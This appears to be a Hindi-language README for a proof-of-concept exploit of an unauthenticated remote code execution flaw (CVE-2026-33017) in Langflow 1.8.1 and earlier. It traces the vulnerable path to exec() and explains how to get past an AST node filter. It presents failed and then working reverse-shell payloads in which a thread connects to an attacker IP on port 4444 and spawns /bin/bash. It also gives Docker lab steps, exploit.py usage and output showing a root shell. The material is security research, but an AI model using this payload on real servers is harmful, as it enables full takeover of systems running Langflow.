
Langflow <=1.8.1 में बिना प्रमाणीकरण वाले RCE के लिए PoC एक्सप्लॉइट, जिसमें स्रोत-स्तरीय मूल कारण विश्लेषण, AST-जागरूक रिवर्स शेल पेलोड, Docker लैब, पैच डिफ और डिटेक्शन नियम शामिल हैं।
अस्वीकरण
यह रिपॉज़िटरी सुरक्षा अनुसंधान और शैक्षिक उद्देश्यों के लिए बनाई गई है।
केवल पृथक (isolated) प्रयोगशाला वातावरण में उपयोग करें।
बिना अनुमति वाले सिस्टम पर उपयोग करना सूचना संचार नेटवर्क कानून का उल्लंघन है और आपराधिक दंड का विषय है।
| आइटम | विवरण |
|---|---|
| CVE ID | CVE-2026-33017 |
| प्रभावित सॉफ़्टवेयर | Langflow (AI वर्कफ़्लो बिल्डर) |
| प्रभावित संस्करण | Langflow ≤ 1.8.1 |
| पैच संस्करण | Langflow ≥ 1.9.0 |
| भेद्यता प्रकार | Unauthenticated Remote Code Execution (RCE) |
| CWE | CWE-306 (Missing Authentication for Critical Function) |
| CVSS | 9.3 (Critical) |
| CISA KEV | सूचीबद्ध |
POST /api/v1/build_public_tmp/{flow_id}/flow
यह सार्वजनिक फ़्लो बिल्ड के लिए एंडपॉइंट है, जिसे बिना प्रमाणीकरण के एक्सेस करने योग्य बनाया गया है।
स्रोत कोड को सीधे ट्रेस करके पुष्टि की गई निष्पादन पथ:
HTTP POST /api/v1/build_public_tmp/{flow_id}/flow
│
▼
langflow/api/v1/chat.py — build_public_tmp()
data = request.body["data"] ← 클라이언트 입력 그대로 수신 (취약점)
│
▼
langflow/api/build.py — start_flow_build()
data = FlowDataRequest ← 클라이언트 data 그대로 전달
│
▼
lfx/custom/eval.py — eval_custom_component_code()
class_name = validate.extract_class_name(code)
return validate.create_class(code, class_name)
│
▼
lfx/custom/validate.py — create_class()
module = ast.parse(code)
exec_globals = prepare_global_scope(module)
│
▼
lfx/custom/validate.py — prepare_global_scope()
exec(compiled_code, exec_globals) ← 임의 코드 실행
prepare_global_scope() फ़ंक्शन प्रस्तुत कोड के सभी स्टेटमेंट को निष्पादित नहीं करता है। AST पार्सिंग के बाद केवल विशिष्ट नोड प्रकारों को चुनकर निष्पादित करता है:
# lfx/custom/validate.py — prepare_global_scope() 내부
for node in module.body:
if isinstance(node, ast.Import):
imports.append(node)
elif isinstance(node, ast.ImportFrom):
import_froms.append(node)
elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
definitions.append(node)
# ↑ Expr 노드는 어디에도 포함되지 않음 → 실행 안 됨
exec(compiled_code, exec_globals) # definitions만 실행
निष्पादन योग्य AST नोड प्रकार:
| AST नोड प्रकार | उदाहरण | निष्पादन |
|---|---|---|
FunctionDef | def _shell(): ... | ✅ निष्पादित |
ClassDef | class ExploitComponent(Component) | ✅ निष्पादित |
Assign | _r = os.system("id") | ✅ निष्पादित |
AnnAssign | _r: int = os.system("id") | ✅ निष्पादित |
Expr | os.system("id") (एकल कॉल) | ❌ अनदेखा |
निष्कर्ष: पेलोड को निष्पादित करने के लिए उसे
Assignरूप (_r = ...) में लिखना अनिवार्य है।
साधारण फ़ंक्शन कॉल (os.system("id"))Exprनोड के रूप में वर्गीकृत होती है और फ़िल्टर द्वारा हटा दी जाती है।
अभ्यास के दौरान कई पेलोड विधियों का प्रयास किया गया और प्रत्येक विफलता का कारण स्रोत स्तर पर पहचाना गया।
subprocess.Popen + wait() (विफल)_s = socket.socket()
_s.connect(("attacker", 4444))
_proc = subprocess.Popen(["/bin/bash", "-i"], stdin=_s.fileno(), ...)
_proc.wait() # ← 여기서 블로킹
विफलता का कारण: Langflow वर्कर थ्रेड कंपोनेंट के रिटर्न वैल्यू पर नज़र रखता है और टाइमआउट होने पर सॉकेट को जबरन बंद कर देता है। _proc.wait() की ब्लॉकिंग बेमानी हो जाती है।
os.execve() का सीधा कॉल (विफल)os.dup2(_fd, 0); os.dup2(_fd, 1); os.dup2(_fd, 2)
os.execve("/bin/bash", ["/bin/bash", "-i"], os.environ.copy())
विफलता का कारण: POSIX नियमों के अनुसार, मल्टीथ्रेडेड प्रोसेस में execve() कॉल करने पर कॉल करने वाले थ्रेड के अलावा सभी थ्रेड समाप्त हो जाते हैं → पूरा uvicorn वर्कर क्रैश → HTTP 500।
os.fork() + execve() (विफल)_pid = os.fork()
if _pid == 0:
os.execve("/bin/bash", ...)
विफलता का कारण: uvicorn चाइल्ड प्रोसेस को असामान्य समाप्ति के रूप में पहचानकर वर्कर को पुनः आरंभ करता है → HTTP 500।
threading.Thread(daemon=True) (विफल)threading.Thread(target=_shell, daemon=True).start()
विफलता का कारण: daemon=True थ्रेड मुख्य थ्रेड (Langflow वर्कर) के समाप्त होने पर उसके साथ ही नष्ट हो जाता है। connect() का प्रयास करने से पहले ही थ्रेड मर जाता है।
threading.Thread(daemon=False) + Assign# FunctionDef → 실행됨
def _shell():
_s = socket.socket()
_s.connect(("attacker_ip", 4444))
_p = subprocess.Popen(["/bin/bash", "-i"],
stdin=_s.fileno(), stdout=_s.fileno(), stderr=_s.fileno())
_p.wait()
_s.close()
# Assign → 실행됨 (Expr 단독 호출은 필터에서 제외되므로 반드시 변수 대입)
_t = threading.Thread(target=_shell, daemon=False)
_r = _t.start()
daemon=False चुनने का कारण:
daemon=True → Langflow वर्कर थ्रेड समाप्त होने पर उसके साथ नष्ट हो जाता हैdaemon=False → वर्कर से स्वतंत्र जीवनचक्र → सॉकेट कनेक्शन बनाए रखना संभवCVE-2026-33017/
├── README.md
├── Dockerfile # 취약 Langflow 1.8.1 환경
├── Dockerfile.attacker # 공격자 컨테이너 (curl, nc, net-tools 포함)
├── docker-compose.yml # 취약 서버 + 공격자 컨테이너
├── entrypoint.sh # Langflow 기동 및 Public 플로우 자동 생성
├── exploit.py # 리버스 쉘 PoC
└── poc.py # Blind RCE / 취약점 존재 확인
# 1. 컨테이너 빌드 및 기동
docker compose up --build
# 2. Langflow Web UI 접속 확인
# http://localhost:7860
# admin / admin123!
# 3. 컨테이너 IP 확인
docker inspect langflow-vuln-lab | grep '"IPAddress"'
docker inspect langflow-attacker | grep '"IPAddress"'
┌──────────────────────────────────────────────────┐
│ Docker Bridge Network: poc-net │
│ │
│ langflow-vuln-lab 172.19.0.2:7860 (피해자) │
│ langflow-attacker 172.19.0.3 (공격자) │
└──────────────────────────────────────────────────┘
अटैकर कंटेनर के अंदर चलाएँ:
docker exec -it langflow-attacker bash
# 자동 모드 (토큰 발급 + Public 플로우 생성 + 내장 리스너 포함)
python3 exploit.py \
--url http://172.19.0.2:7860 \
--lhost 172.19.0.3 \
--lport 4444
विकल्प:
| विकल्प | विवरण | डिफ़ॉल्ट |
|---|---|---|
--url | लक्षित Langflow URL | आवश्यक |
--lhost | रिवर्स शेल कॉलबैक IP | आवश्यक |
--lport | रिवर्स शेल कॉलबैक पोर्ट | आवश्यक |
--flow-id | सार्वजनिक फ़्लो UUID (छोड़ने पर स्वतः निर्मित) | स्वचालित |
--user | व्यवस्थापक ID | admin |
--password | व्यवस्थापक PW | admin123! |
--no-listen | अंतर्निहित लिसनर अक्षम (बाहरी nc उपयोग करने पर) | False |
--timeout | HTTP टाइमआउट (सेकंड) | 30 |
अपेक्षित आउटपुट:
============================================================
CVE-2026-33017 — Langflow Unauthenticated RCE PoC
============================================================
[*] 로그인 중... (admin)
[*] 토큰 발급 성공
[*] Public 플로우 생성 중...
[*] Flow ID : 3b88b6fa-ce95-4da8-894b-27b728ca4770
[*] 리스너 시작 → 0.0.0.0:4444
[*] 엔드포인트 : http://172.19.0.2:7860/api/v1/build_public_tmp/...
[*] 콜백 : 172.19.0.3:4444
[*] 페이로드 전송 중...
[*] HTTP 응답 : 200
[+] 쉘 연결됨 ← 172.19.0.2:XXXXX
────────────────────────────────────────────────────────────
bash-5.2# id
uid=0(root) gid=0(root) groups=0(root)
केवल भेद्यता की उपस्थिति की पुष्टि करने के लिए उपयोग करें:
python3 poc.py \
--url http://172.19.0.2:7860 \
--cmd "id"